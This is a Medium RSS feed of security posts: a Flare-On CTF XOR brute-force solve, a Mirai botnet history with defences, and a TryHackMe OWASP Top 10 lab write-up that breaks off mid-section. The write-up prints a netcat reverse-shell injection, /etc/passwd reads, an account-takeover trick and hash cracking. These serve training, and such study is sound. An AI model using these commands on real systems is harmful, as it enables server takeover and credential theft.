<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anirudha Taliyan on Medium]]></title>
        <description><![CDATA[Stories by Anirudha Taliyan on Medium]]></description>
        <link>https://medium.com/@anirudhataliyan?source=rss-f2a56e22cbc6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*4-xXZvRsdfa0ex-DqS2J7w.jpeg</url>
            <title>Stories by Anirudha Taliyan on Medium</title>
            <link>https://medium.com/@anirudhataliyan?source=rss-f2a56e22cbc6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 08:34:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anirudhataliyan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Flare-On 12: Drill Baby Drill]]></title>
            <link>https://medium.com/@anirudhataliyan/flare-on-12-drill-baby-drill-ac402b9ff29a?source=rss-f2a56e22cbc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac402b9ff29a</guid>
            <dc:creator><![CDATA[Anirudha Taliyan]]></dc:creator>
            <pubDate>Sun, 12 Oct 2025 15:00:41 GMT</pubDate>
            <atom:updated>2025-10-12T15:03:01.707Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>In 3 Easy Steps (spoilers ahead).</strong></p><p>Flare-on just recently dropped their new challenge on Sept 26 (I guess) on <a href="https://flare-on12.ctfd.io/">https://flare-on12.ctfd.io/</a> and I solved my first one, called “drill baby drill,” by simply changing/tweaking the code a little. Here’s what I&#39;ve done, step by step.</p><p><strong>Step 1: Play the game, and check what’s actually going on.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*DCSw2_C4OAIZbQgvmHM1Rg.png" /><figcaption>Drill baby drill screenshot</figcaption></figure><p>As I can guess from the initial start, there are some boulders that I need to avoid for him to collect his bears.</p><p><strong>Step 2: Looking for anomalies in source code:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KiNX3cZr3xDyzeU_QlsmTw.png" /><figcaption>Interesting!!!</figcaption></figure><p>As I scrolled this code, I found this. I don’t think I should/need to manipulate the game anymore. This code is self-explanatory; it takes sum and do some XOR (^) operation to calculate an ASCII key.</p><p><strong>Step 3: Solving using Simple BruteForce Script using Python:</strong></p><pre><br>def GenerateFlagText(sum):<br>    key = sum &gt;&gt; 8<br>    encoded = &quot;\xd0\xc7\xdf\xdb\xd4\xd0\xd4\xdc\xe3\xdb\xd1\xcd\x9f\xb5\xa7\xa7\xa0\xac\xa3\xb4\x88\xaf\xa6\xaa\xbe\xa8\xe3\xa0\xbe\xff\xb1\xbc\xb9&quot;<br>    plaintext = []<br>    for i in range(0, len(encoded)):<br>        plaintext.append(chr(ord(encoded[i]) ^ (key+i)))<br>    return &#39;&#39;.join(plaintext)</pre><p>If I need to clean this code a little bit, I should just write like this:</p><pre>def GenerateFlagText(sum):<br>    encoded = b&quot;\xd0\xc7\xdf\xdb\xd4\xd0\xd4\xdc\xe3\xdb\xd1\xcd\x9f\xb5\xa7\xa7\xa0\xac\xa3\xb4\x88\xaf\xa6\xaa\xbe\xa8\xe3\xa0\xbe\xff\xb1\xbc\xb9&quot;<br>    plaintext = &#39;&#39;.join(chr(b ^ ((key + i) &amp; 0xFF)) for i, b in enumerate(encoded))<br>    print(plaintext)</pre><p>If I decode this encoded with the correct key, it’ll produce an ASCII string (possibly a secret or flag). I can just write a simple python script to do the brute-force part for me.</p><pre>encoded = b&quot;\xd0\xc7\xdf\xdb\xd4\xd0\xd4\xdc\xe3\xdb\xd1\xcd\x9f\xb5\xa7\xa7\xa0\xac\xa3\xb4\x88\xaf\xa6\xaa\xbe\xa8\xe3\xa0\xbe\xff\xb1\xbc\xb9&quot;<br>for key in range(256):<br>    dec = &#39;&#39;.join(chr(b ^ ((key + i) &amp; 0xFF)) for i, b in enumerate(encoded))<br>    if all(32 &lt;= ord(c) &lt; 127 for c in dec):<br>        print(key, dec)</pre><p>Boom! 2 possible outputs are: <br>179 csjmchmfXgls ufechfrOgo`ud.nq/`nj<br>180 <a href="/service/mailto:drilling_for_teddies@flare-on.com">drilling_for_teddies@flare-on.com</a></p><p>The key <strong>180 </strong>is the correct one.</p><p>I’ll soon upload the next one, if I can solve. Stay tuned.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac402b9ff29a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Rise of the Mirai Botnet: A Tale of Cyber Chaos]]></title>
            <link>https://medium.com/@anirudhataliyan/the-rise-of-the-mirai-botnet-a-tale-of-cyber-chaos-bc5beec3190c?source=rss-f2a56e22cbc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc5beec3190c</guid>
            <dc:creator><![CDATA[Anirudha Taliyan]]></dc:creator>
            <pubDate>Sat, 10 Aug 2024 10:48:43 GMT</pubDate>
            <atom:updated>2024-08-10T10:49:34.877Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-PA3lhpmobuJSdih.png" /></figure><p>It began in 2016, a year like any other. The internet was buzzing with activity, connecting billions of devices across the globe. But amidst the ordinary hum of data packets and server requests, something sinister was taking shape. Deep within the dark corners of the internet, three young college students — Paras Jha, Josiah White, and Dalton Norman — were experimenting with a new creation.</p><p>They were not typical hackers; they were skilled programmers with a deep understanding of network protocols and a desire to leave their mark on the digital world. Their creation was a botnet — <em>a network of compromised devices that could be controlled remotely.</em> They named it <strong>Mirai</strong>, which means “future” in Japanese. The name was fitting, for Mirai was about to herald a new era of cyber warfare.</p><p>Mirai was no ordinary botnet. It was designed to exploit a weakness in the growing number of Internet of Things (IoT) devices — those everyday gadgets connected to the Internet, from security cameras to baby monitors. These devices were often poorly secured, using default passwords that were rarely changed by their users. Mirai scanned the internet for vulnerable IoT devices, infecting them and adding them to its ever-growing army of bots.</p><p><strong>THE CHAOS BEGIN:</strong></p><p>By October 2016, Mirai had amassed a vast army of zombie devices, ready to be unleashed at the command of its creators. The targets were carefully chosen, and the weapon of choice was a Distributed Denial of Service (DDoS) attack — a flood of traffic so overwhelming that it would cripple any server it was directed at.</p><p>The first major target was Dyn, a company that provided critical Domain Name System (DNS) services. DNS is like the phonebook of the internet, translating human-friendly domain names into IP addresses that computers can understand. If DNS were to fail, accessing websites would become impossible.</p><p><a href="https://en.wikipedia.org/wiki/DDoS_attacks_on_Dyn">DDoS attacks on Dyn - Wikipedia</a></p><p>On the morning of October 21, 2016, Mirai’s creators unleashed their botnet on Dyn. The attack was swift and devastating. Tens of millions of infected devices began sending massive amounts of traffic to Dyn’s servers, overwhelming them in a matter of minutes. Major websites, including Twitter, Netflix, Reddit, and Amazon, were suddenly inaccessible across large swaths of the United States and Europe.</p><p>Panic spread across the internet as users and companies scrambled to understand what was happening. For hours, the digital world was in chaos. The attack was a stark reminder of the vulnerabilities inherent in the modern internet, and it was all the work of Mirai.</p><p>The attack on Dyn was not the first time Mirai had been used, nor would it be the last. In the weeks leading up to the Dyn attack, Mirai had already been deployed against security journalist Brian Krebs’ website, one of the most extensive DDoS attacks ever recorded. It had also been used to target OVH, a French web hosting company, with a similarly massive DDoS attack.</p><p><a href="https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/">KrebsOnSecurity Hit With Record DDoS</a></p><p>But while Mirai was wreaking havoc, law enforcement agencies and cybersecurity experts were hot on the trail of its creators. The attacks had drawn global attention, and the FBI, along with other international agencies, launched a full-scale investigation.</p><p>The creators of Mirai had initially intended to use the botnet for a different purpose — knocking rival Minecraft servers offline to give their own server an advantage in a competitive market. However, their creation had quickly spiraled out of control, and the massive attacks on high-profile targets had drawn unwanted scrutiny.</p><p>In an attempt to cover their tracks, Jha, White, and Norman released the source code for Mirai publicly in September 2016, just before the Dyn attack. They hoped that by doing so, they could deflect blame onto other attackers who might use the code for their own purposes.</p><p>The release of Mirai’s source code had the opposite effect. It led to a proliferation of Mirai variants, as other cybercriminals began using and modifying the botnet for their own attacks. The internet saw an explosion of DDoS attacks, all fueled by Mirai’s code.</p><p>Despite their attempts to evade capture, the creators of Mirai were eventually tracked down by law enforcement. In December 2017, <strong>Paras Jha, Josiah White, and Dalton Norman</strong> pleaded guilty to their roles in creating and deploying the Mirai botnet. They were sentenced to community service, home confinement, and ordered to pay restitution.</p><p><a href="https://www.justice.gov/usao-ak/pr/hackers-cooperation-fbi-leads-substantial-assistance-other-complex-cybercrime">Hackers&#39; Cooperation with FBI Leads to Substantial Assistance in Other Complex Cybercrime Investigations</a></p><p>The legacy of Mirai, however, continued to reverberate throughout the cybersecurity community. The botnet had exposed the glaring vulnerabilities in IoT devices and highlighted the potential for catastrophic damage if such weaknesses were not addressed. In the years following the attacks, efforts were made to improve the security of IoT devices, but the challenge remains ongoing.</p><p>Mirai also served as a grim reminder of the power wielded by a few individuals with the right knowledge and tools. The internet, once a symbol of boundless freedom and connectivity, had shown its darker side — a side that could be exploited to bring even the most powerful networks to their knees.</p><h4>Epilogue: The Future of Cybersecurity and Botnet-based DDoS attacks.</h4><p>The story of Mirai is a cautionary tale, a glimpse into the potential dangers that lurk in the interconnected world we live in. As technology continues to evolve, so too do the threats that accompany it. The creators of Mirai may have been brought to justice, but the challenges they exposed remain ever-present.</p><p>In the years to come, the cybersecurity community must remain vigilant, adapting to new threats and working to secure the digital frontier. For as long as there are vulnerabilities to exploit, there will be those who seek to do so. The future of the internet, like the name Mirai suggests, is still being written.</p><p>And the lessons learned from Mirai will continue to shape that future for years to come.</p><h3><strong>Can we as cybersecurity practitioners prevent the birth of another botnet?</strong></h3><p>The preventive measures to completely eliminate the possibility of the formation of another botnet is hard to answer since everything nowadays is IoT but we can use some measures to reduce the scale so that actors completely give up on the idea of making botnets since the amount of bot army would be less, this however isn’t a easy step, combatting botnets requires a multi-faceted approach, involving proactive measures, detection, and coordinated responses.</p><p>Here are key strategies to prevent and mitigate botnet activity:</p><h3>1. Strengthening IoT Device Security</h3><ul><li><strong>Change Default Credentials:</strong> Many IoT devices come with default usernames and passwords that are easily exploitable. Changing these to strong, unique passwords is a simple yet effective first step.</li><li><strong>Firmware Updates:</strong> Regularly updating device firmware ensures that security patches are applied, closing vulnerabilities that could be exploited by botnets.</li><li><strong>Disable Unused Features:</strong> Disabling unnecessary services or ports reduces the attack surface of IoT devices, making it harder for botnets to find entry points.</li></ul><h3>2. Network Security Enhancements</h3><ul><li><strong>Firewalls and Intrusion Detection Systems (IDS):</strong> Implementing firewalls and IDS can block suspicious traffic and detect unusual patterns indicative of botnet activity.</li><li><strong>Network Segmentation:</strong> Segmenting networks can contain the spread of botnets, isolating infected devices from critical infrastructure.</li><li><strong>Rate Limiting and Traffic Filtering:</strong> Implementing rate limiting on routers and servers helps mitigate the impact of DDoS attacks, while traffic filtering can block known malicious IP addresses.</li></ul><h3>3. User Education and Awareness</h3><ul><li><strong>Phishing Awareness:</strong> Educating users about phishing and other social engineering tactics reduces the likelihood of devices being compromised through human error.</li><li><strong>Regular Security Training:</strong> Providing regular training on cybersecurity best practices helps users stay informed about emerging threats and how to avoid them.</li></ul><h3>4. Botnet Detection and Monitoring</h3><ul><li><strong>Behavioral Analysis:</strong> Monitoring network traffic for anomalies, such as unusual patterns in data flow or spikes in activity, can help detect botnets in their early stages.</li><li><strong>Honeypots:</strong> Deploying honeypots — decoy systems designed to attract and monitor botnet activity — can provide valuable insights into how botnets operate and their command-and-control (C&amp;C) infrastructure.</li><li><strong>Threat Intelligence Sharing:</strong> Collaborating with other organizations and sharing threat intelligence data can help identify botnets more quickly and reduce the time they have to operate.</li></ul><h3>5. Law Enforcement and Legal Measures</h3><ul><li><strong>Collaboration with Law Enforcement:</strong> Working closely with law enforcement agencies allows for quicker takedown of botnet operators and their infrastructure.</li><li><strong>International Cooperation:</strong> Since botnet operators often operate across borders, international cooperation is essential to disrupt global botnet operations and bring perpetrators to justice.</li><li><strong>Legislation and Regulation:</strong> Governments can enact laws and regulations that mandate minimum security standards for IoT devices and impose penalties for manufacturers that fail to comply.</li></ul><h3>6. Use of Advanced Technologies</h3><ul><li><strong>Artificial Intelligence (AI) and Machine Learning (ML):</strong> AI and ML can be used to analyze large volumes of data and detect patterns that indicate botnet activity, improving detection accuracy and response times.</li><li><strong>Blockchain for IoT Security:</strong> Implementing blockchain technology in IoT networks can enhance security by decentralizing device communication and reducing the risk of botnet attacks.</li></ul><h3>7. Regular Audits and Penetration Testing</h3><ul><li><strong>Vulnerability Assessments:</strong> Regularly auditing networks and devices for vulnerabilities helps identify and fix potential entry points for botnets.</li><li><strong>Penetration Testing:</strong> Conducting penetration tests simulates attacks on networks to discover weaknesses and improve defenses before actual threats emerge.</li></ul><h3>8. Disruption of Command-and-Control (C&amp;C) Infrastructure</h3><ul><li><strong>Sinkholing:</strong> Redirecting botnet traffic to a controlled server (a sinkhole) can disrupt the botnet’s communication with its C&amp;C server, effectively neutralizing its ability to carry out attacks.</li><li><strong>Domain Takedown:</strong> Coordinating with domain registrars and ISPs to take down domains used by botnet C&amp;C servers can significantly disrupt botnet operations.</li></ul><h3>9. Consumer Awareness Campaigns</h3><ul><li><strong>Public Awareness Campaigns:</strong> Governments and organizations can run public awareness campaigns to educate consumers about the risks of insecure IoT devices and encourage better security practices.</li><li><strong>Labeling and Certification:</strong> Implementing a certification or labeling system for secure IoT devices can help consumers make informed choices when purchasing connected devices.</li></ul><h3>10. Incident Response Planning</h3><ul><li><strong>Develop Incident Response Plans:</strong> Organizations should have a robust incident response plan in place to quickly react to botnet attacks, minimizing damage and recovery time.</li><li><strong>Exercise Response Drills:</strong> Regularly conducting drills and simulations prepares teams for real-world botnet incidents, ensuring a swift and coordinated response.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc5beec3190c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Top 10 — Tryhackme (Writeup)]]></title>
            <link>https://medium.com/@anirudhataliyan/owasp-top-10-tryhackme-writeup-20f3fabb2418?source=rss-f2a56e22cbc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/20f3fabb2418</guid>
            <dc:creator><![CDATA[Anirudha Taliyan]]></dc:creator>
            <pubDate>Sat, 10 Aug 2024 10:15:30 GMT</pubDate>
            <atom:updated>2024-08-10T10:21:09.087Z</atom:updated>
            <content:encoded><![CDATA[<h3>OWASP Top 10 — Tryhackme (Writeup)</h3><p>I’m sure you are familiar with the concept of OWASP top 10 by now but for the sake of clarity, I’ll put the definition given by the <a href="https://owasp.org/www-project-top-ten/">OWASP foundation</a>, it’ll help to know what I’m going to do in the entirety of this write-up.</p><blockquote>“The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.”</blockquote><p>These vulnerabilities get updated as the market evolves, but the contents remain the same just the order changes and the name. Most web application-related vulnerabilities can be summed up in OWASP top 10s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/0*-_pcc0BOu3tn1Qmg.png" /><figcaption><em>A comparison of 2017 and 2021 OWASP top 10s.</em></figcaption></figure><p>In this <a href="https://tryhackme.com/r/room/owasptop10">Tryhackme room</a>, we’ll be solving the 2017, in the next one we’ll solve the next room, without any further ado, lets jump right into it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*t1QpGvNvX95dMfDj98TWfA.png" /><figcaption>Screenshot from Tryhackme</figcaption></figure><p><strong>Feel free to skip over this if you’re already familiar with the theoretical stuff.</strong></p><p><strong>Severity 1: Injection:</strong></p><p>To summarise this, injection is just user-controlled data being interpreted by the application as a pure command thus making the user capable of running commands.</p><p>Some common examples include:</p><ul><li><strong>SQL Injection:</strong> This occurs when user-controlled input is passed to SQL queries. As a result, an attacker can pass in SQL queries to manipulate the outcome of such queries.</li><li><strong>Command Injection: </strong>This occurs when user input is passed to system commands. As a result, an attacker can execute arbitrary system commands on application servers.</li></ul><p>If an attacker can successfully pass input that is interpreted correctly, they would be able to do the following:</p><ul><li><strong>Access, Modify, and Delete </strong>information in a database when this input is passed into database queries.</li><li><strong>Execute Arbitrary system commands </strong>on a server that would allow an attacker to gain access to users’ systems.</li></ul><p>The main defense for preventing injection attacks is ensuring that user-controlled input is not interpreted as queries or commands. There are different ways of doing this:</p><ul><li><strong>Using an allow list: </strong>when input is sent to the server, this input is compared to a list of safe input or characters. If the input is marked as safe, then it is processed. Otherwise, it is rejected and the application throws an error.</li><li><strong>Stripping input:</strong> If the input contains dangerous characters, these characters are removed before they are processed.</li></ul><p><strong>OS Command Injection:</strong></p><p>Command Injection occurs when server-side code (like PHP) in a web application makes a system call on the hosting machine. It is a web vulnerability that allows an attacker to take advantage of that made system call to execute operating system commands on the server. Sometimes this won’t always end in something malicious, like a whoami or just reading files. That isn&#39;t too bad. But the thing about command injection is it opens up many options for the attacker. The worst thing they could do would be to spawn a reverse shell to become the user that the web server is running as. Simple ;nc -e /bin/bash is all that&#39;s needed and they own your server; <strong>some variants of netcat don&#39;t support the -e option. </strong>You can use a list of <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">these</a> reverse shells as an alternative.</p><p>Once the attacker has a foothold on the web server, they can start the usual enumeration of your systems and start looking for ways to pivot around. Now that we know what command injection is, we’ll start going into the different types and how to test for them.</p><p><strong>What is Active Command Injection?</strong></p><p>Blind command injection occurs when the system command made to the server does not return the response to the user in the HTML document. Active command injection will return the response to the user. It can be made visible through several HTML elements.</p><p>Let’s consider a scenario: EvilCorp has started development on a web based shell but has accidentally left it exposed to the Internet. It’s nowhere near finished but contains the same command injection vulnerability as before! But this time, the response from the system call can be seen on the page! They’ll never learn!</p><p>Just like before, let’s look at the sample code from evilshell.php and go over what it’s doing and why it makes it active command injection. See if you can figure it out. I’ll go over it below just as before.</p><p><strong>EvilShell (evilshell.php) Code Example:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/0*-xjRY8CdVy9HjpWW.png" /></figure><p>In pseudocode, the above snippet is doing the following:</p><p>1. Checking if the parameter “commandString” is set</p><p>2. If it is, then the variable $command_string gets what was passed into the input field</p><p>3. The program then goes into a try block to execute the function passthru($command_string). You can read the docs on passthru() on <a href="https://www.php.net/manual/en/function.passthru.php">PHP&#39;s website</a>, but in general, it is executing what gets entered into the input then passing the output directly back to the browser.</p><p>4. If the try does not succeed, output the error to page. Generally this won’t output anything because you can’t output stderr but PHP doesn’t let you have a try without a catch.</p><p><strong>Ways to Detect Active Command Injection</strong></p><p>We know that active command injection occurs when you can see the response from the system call. In the above code, the function passthru() is actually what&#39;s doing all of the work here. It&#39;s passing the response directly to the document so you can see the fruits of your labor right there. Since we know that, we can go over some useful commands to try to enumerate the machine a bit further. The function call here to passthru() may not always be what&#39;s happening behind the scenes, but I felt it was the easiest and least complicated way to demonstrate the vulnerability.</p><p><strong>Commands to try</strong></p><p><strong>Linux</strong></p><ul><li>whoami</li><li>id</li><li>ifconfig/ip addr</li><li>uname -a</li><li>ps -ef</li></ul><p><strong>Windows</strong></p><ul><li>whoami</li><li>ver</li><li>ipconfig</li><li>tasklist</li><li>netstat -an</li></ul><p><strong>Now we’ll connect to the VPN and start solving the questions.</strong></p><p>On clicking the link http://[machine_ip]/evilshell.php, we get the following response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*iDqdsFfRwO_f2j0uy8Ka2g.png" /></figure><ol><li><strong>What strange text file is in the website&#39;s root directory?</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*8UzWyQWD-cPFk3nlZsIiEA.png" /></figure><p><strong>Ans: drpepper.txt (by running the ls command)</strong></p><p><strong>2. How many non-root/non-service/non-daemon users are there?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*djuRzo_O9_E9moRFfksNSA.png" /></figure><p>On running the command cut -d: -f1 /etc/passwd (I read this on <a href="https://linuxhandbook.com/linux-list-users/">linuxhandbook</a> website) we can see there isn’t any <strong>non-root/non-service/non-daemon users </strong>in this web server.</p><p><strong>Ans. 0</strong></p><p><strong>3. What user is this app running as?</strong></p><p><strong>Ans. www-data (I just ran </strong><strong>whoami command)</strong></p><p><strong>4. What is the user’s shell set as?</strong></p><p>Ans. On running the command id we learned that uid of the user is 33, and by running cat /etc/passwd we can see <strong>data:x:33:33:www-data:/var/www:/usr/sbin/nologin, </strong>it clearly shows that the user’s shell is set as <strong>/usr/sbin/nologin.</strong></p><p><strong>5. What version of Ubuntu is running?</strong></p><p>Ans. Run the command lsb_release -a it’ll show the version as <strong>Ubuntu 18.04.4 LTS.</strong></p><p><strong>6. Print out the MOTD. What favorite beverage is shown?</strong></p><p>Ans. Just cat the file <strong>drpepper.txt </strong>it’ll result in “ I love Dr Pepper”, hence answer is <strong>Dr Pepper.</strong></p><p><strong>Severity 2: Broken Authentication:</strong></p><p>Authentication and session management constitute core components of modern web applications. Authentication allows users to gain access to web applications by verifying their identities. The most common form of authentication is using a username and password mechanism. A user would enter these credentials, the server would verify them. If they are correct, the server would then provide the users’ browser with a session cookie. A session cookie is needed because web servers use HTTP(S) to communicate which is stateless. Attaching session cookies means that the server will know who is sending what data. The server can then keep track of users’ actions.</p><p>If an attacker is able to find flaws in an authentication mechanism, they would then successfully gain access to other users’ accounts. This would allow the attacker to access sensitive data (depending on the purpose of the application). Some common flaws in authentication mechanisms include:</p><ul><li>Brute force attacks: If a web application uses usernames and passwords, an attacker can launch brute force attacks that allow them to guess the username and passwords using multiple authentication attempts.</li><li>Use of weak credentials: web applications should set strong password policies. If applications allow users to set passwords such as ‘password1’ or common passwords, then an attacker can easily guess them and access user accounts. They can do this without brute forcing and multiple attempts.</li><li>Weak Session Cookies: Session cookies are how the server keeps track of users. If session cookies contain predictable values, an attacker can set their own session cookies and access users’ accounts.</li></ul><p>There can be various mitigation for broken authentication mechanisms depending on the exact flaw:</p><ul><li>To avoid password-guessing attacks, ensure the application enforces a strong password policy.</li><li>To avoid brute force attacks, ensure that the application enforces an automatic lockout after a certain number of attempts. This would prevent an attacker from launching more brute-force attacks.</li><li>Implement Multi-Factor Authentication — If a user has multiple authentication methods, for example, using username and passwords and receiving a code on their mobile device, then it would be difficult for an attacker to access both credentials to access their account.</li></ul><p>For this example, we’ll be looking at a logic flaw within the authentication mechanism.</p><p>A lot of times what happens is that developers forget to sanitize the input(username &amp; password) given by the user in the code of their application, which can make them vulnerable to attacks like SQL injection. However, we are going to focus on a vulnerability that happens because of a developer’s mistake but is very easy to exploit i.e. re-registration of an existing user.</p><p>Let’s understand this with the help of an example, say there is an existing user with the name <strong>admin</strong> and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter “ admin”(notice the space at the start). Now when you enter that in the username field enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. That new user will also be able to see all the content presented under the user <strong>admin</strong>.</p><p>To see this in action go to <a href="http://machine_ip:8888/">http://MACHINE_IP:<strong>8888</strong></a><strong> </strong>and try to register a user name <strong>darren</strong>, you’ll see that user already exists so then try to register a user <strong>“ </strong>darren<strong>” </strong>and you’ll see that you are now logged in and will be able to see the content present only in Darren’s account which in our case is the flag that you need to retrieve.</p><p>[ This one is so easy that I don’t think it requires explanation ]</p><p><strong>Severity 3 Sensitive Data Exposure:</strong></p><p>When a web app accidentally divulges sensitive data, we refer to it as “Sensitive Data Exposure”. This is often data directly linked to customers (e.g. names, dates of birth, financial information, etc), but could also be more technical information, such as usernames and passwords. At more complex levels this often involves techniques such as a “Man in The Middle Attack”, whereby the attacker would force user connections through a device that they control, then take advantage of weak encryption on any transmitted data to gain access to the intercepted information (if the data is even encrypted in the first place…). Of course, many examples are much simpler, and vulnerabilities can be found in web apps that can be exploited without any advanced networking knowledge. Indeed, in some cases, the sensitive data can be found directly on the webserver itself…</p><p>The web application in this box contains one such vulnerability. Deploy the machine, then read through the supporting material in the following tasks as the box boots up.</p><p>The most common way to store a large amount of data in a format that is easily accessible from many locations at once is in a database. This is perfect for something like a web application, as there may be many users interacting with the website at any one time. Database engines usually follow the <strong>S</strong>tructured <strong>Q</strong>uery <strong>L</strong>anguage (SQL) syntax; however, alternative formats (such as NoSQL) are rising in popularity.</p><p>In a production environment, it is common to see databases set up on dedicated servers, running a database service such as MySQL or MariaDB; however, databases can also be stored as files. These databases are referred to as “flat-file” databases, as they are stored as a single file on the computer. This is much easier than setting up a full database server, and so could potentially be seen in smaller web applications. Accessing a database server is outside the scope of today’s task, so let’s focus instead on flat-file databases.</p><p>As mentioned previously, flat-file databases are stored as a file on the disk of a computer. Usually, this would not be a problem for a web app, but what happens if the database is stored underneath the root directory of the website (i.e. one of the files that a user connecting to the website can access)? Well, we can download it and query it on our machine, with full access to everything in the database. Sensitive Data Exposure indeed!</p><p>That is a big hint for the challenge, so let’s briefly cover some of the syntax we would use to query a flat-file database.</p><p>The most common (and simplest) format of the flat-file database is an <em>SQLite</em> database. These can be interacted with in most programming languages, and have a dedicated client for querying them on the command line. This client is called “<em>sqlite3</em>”, and is installed by default on Kali.</p><p>Let’s suppose we have successfully managed to download a database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*HC-v67q2v4V1lAwA.png" /></figure><p>We can see that there is an SQLite database in the current folder.</p><p>To access it we use: sqlite3 &lt;database-name&gt;:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/0*G-DA6Ir_A8oyDtMt.png" /></figure><p>From here we can see the tables in the database by using the .tables command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/0*mwaHenYOdRPD5EkE.png" /></figure><p>At this point, we can dump all of the data from the table, but we won’t necessarily know what each column means unless we look at the table information. First, let’s use PRAGMA table_info(customers); to see the table information, then we&#39;ll use SELECT * FROM customers; to dump the information from the table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/0*tNoTjs9Unmn6Y9DG.png" /></figure><p>We can see from the table information that there are four columns: custID, custName, creditCard and password. You may notice that this matches up with the results. Take the first row:</p><p>0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99</p><p>We have the custID (0), the custName (Joy Paulson), the creditCard (4916 9012 2231 7905) and a password hash (5f4dcc3b5aa765d61d8327deb882cf99).</p><p>In the next task we’ll look at cracking this hash.</p><p>In the previous task we saw how to query an SQLite database for sensitive data. We found a collection of password hashes, one for each user. In this task we will briefly cover how to crack these.</p><p>When it comes to hash cracking, Kali comes pre-installed with various tools — if you know how to use these then feel free to do so; however, they are outside the scope of this material.</p><p>Instead, we will be using the online tool: <a href="https://crackstation.net/">Crackstation</a>. This website is extremely good at cracking weak password hashes. For more complicated hashes we would need more sophisticated tools; however, all of the crackable password hashes used in today’s challenge are weak MD5 hashes, which Crackstation should handle very nicely indeed.</p><p>When we navigate to the website we are met with the following interface:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/0*Muy0HrIdCXEOE_Jo.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*mJHtXn89tL8XgkG5.png" /></figure><p>We see that the hash was successfully broken and that the user’s password was “password” — how secure!</p><p>It’s worth noting that Crackstation works using a massive wordlist. If the password is not in the wordlist then Crackstation will not be able to break the hash.</p><p>The challenge is guided, so if Crackstation fails to break a hash in today’s box you can assume that the hash has been specifically designed to not be trackable.</p><p>It’s now time to put what you’ve learned into practice!</p><ol><li><strong>What is the name of the mentioned directory?</strong></li></ol><p>Ans. view source -&gt; click on the image file -&gt; edit the URL, and you’ll get the answer.</p><p><strong>2. Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?</strong></p><p>Ans. [ Same as Question 1 ]</p><p><strong>3. Use the supporting material to access the sensitive data. What is the password hash of the admin user?</strong></p><p>Ans. I used this website to view the .db file. <a href="https://inloop.github.io/sqlite-viewer/">https://inloop.github.io/sqlite-viewer/</a></p><p><strong>4. Crack the hash.<br>What is the admin’s plaintext password?</strong></p><p>Ans. It’s an MD5 hash, won’t take time, just use a rainbow table from random website.</p><p><strong>5. Login as the admin. What is the flag?</strong></p><p>Ans. THM{REDACTED (DIY)}</p><p><strong>Severity 4 XML External Entity:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*Bdd-9SfDE1DHvI3-.png" /></figure><p>An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.</p><p>There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).<br>1) An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.</p><p>2) out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.</p><p>Before we move on to learn about XXE exploitation we’ll have to understand XML properly.</p><p><strong>What is XML?</strong></p><p>XML (eXtensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. It is a markup language used for storing and transporting data.</p><p><strong>Why we use 